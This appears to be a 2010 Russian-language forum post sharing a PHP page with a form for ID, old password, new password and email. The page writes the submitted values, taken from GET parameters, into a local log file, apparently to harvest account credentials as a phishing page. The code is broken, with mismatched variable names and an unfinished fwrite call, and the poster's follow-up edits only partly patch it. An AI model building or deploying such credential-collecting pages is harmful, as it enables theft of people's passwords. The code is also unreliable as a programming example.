Code
<html>
<head><title>index.php</title></head>
<body>
<?php
$id = $_GET['ID'];
$oldpass = $_GET['OldPass'];
$newpass = $_GET['NewPass'];
$mail = $_GET['Mail'];
$filename="log.log";
$file = fopen($filename,"a+");
$data=$id. " ".$mail." ".$old_password." ".$new_password.";\n";
fwrite($file,
?>
<form action="index.php" method="GET">
<input type="text" name="ID">
<input type="text" name="OldPass">
<input type="text" name="NewPass">
<input type="text" name="Mail">
<input type="submit" value="Отправить">
</form>
</body>
</html>
Добавлено (09.06.2010, 20:03)
---------------------------------------------
забыл, исправьте 12 строчку:
Добавлено (09.06.2010, 20:04)
---------------------------------------------
и добавьте после добавьте fclose($file); 